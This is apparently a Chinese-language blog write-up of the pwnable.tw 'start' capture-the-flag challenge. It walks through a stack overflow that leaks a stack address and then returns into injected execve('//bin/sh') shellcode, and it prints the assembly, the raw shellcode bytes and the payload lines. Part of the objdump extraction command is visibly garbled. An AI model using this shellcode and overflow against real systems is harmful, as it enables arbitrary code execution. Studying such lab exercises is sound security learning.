经验总结"/>
pwnable.tw start 经验总结
这题我忽略了一个简单但是很重要的知识点,就是改变栈指针的大小的同时会扩展/释放栈空间,导致这题折腾了太久,直到看了这篇博客,在看解题方法时有一个疑点想着想着就突然注意到了
参考的wp
在 add esp, 14h 后栈空间被释放了0x14个空间,也就是"Let’s start the CTF:"这个字符串被丢弃了
所以可以构造
payload=‘a’ * 0x14 + p32(write_addr)
stack_addr = u32(c.recv(4))
来获得栈上的地址,随后便可以向栈上植入shellcode,执行exceve系统调用
exceve(’//bin/sh’)的汇编代码如下
Section .textglobal _start
_start:xor eax,eaxpush eax //'/0'push 0x68732f6e // '//bin/sh'push 0x69622f2fmov ebx,esp push eaxpush ebxmov ecx,esp //第二个参数为指针数组,所以要先把ebx压栈,再让ecx指向espxor edx,edxmov al, 0x0bint 0x80
可以使用 一下命令来提取机器码
objdump -d ./execve-stack|grep ‘[0-9a-f]:’|grep -v ‘file’|cut -f2 -d:|cut -f1-6 -d’ '|tr -s ’ '|tr ‘\t’ ’ '|sed ‘s/ / / g ′ ∣ s e d ′ s / / x / g ′ ∣ p a s t e − d ′ ′ − s ∣ s e d ′ s / / " / ′ ∣ s e d ′ s / //g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/ //g′∣sed′s//x/g′∣paste−d′′−s∣sed′s//"/′∣sed′s//"/g’
来源
提取的机器码如下:
“\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80”
还有没及时反应过来的点是:
payload2 = ‘a’*0x14 + p32(stack_addr+0x14) + shellcode
当时不明白为什么不是stack_addr + 0x18 ,stack_addr不是栈顶吗?20个 ‘a’ + 4字节的返回地址 + shellcode ,那从栈顶到shellcode 的偏移量不就是0x18了吗?,看其他的wp,把泄露stack_addr的这个地址写作esp让我想错了,重新用gdb调试明白了
’a’ 是从0xffffd18c开始覆盖的, 而stack_addr 是0xffffd190, 所以偏移量是0x14
更多推荐
pwnable.tw start 经验总结
发布评论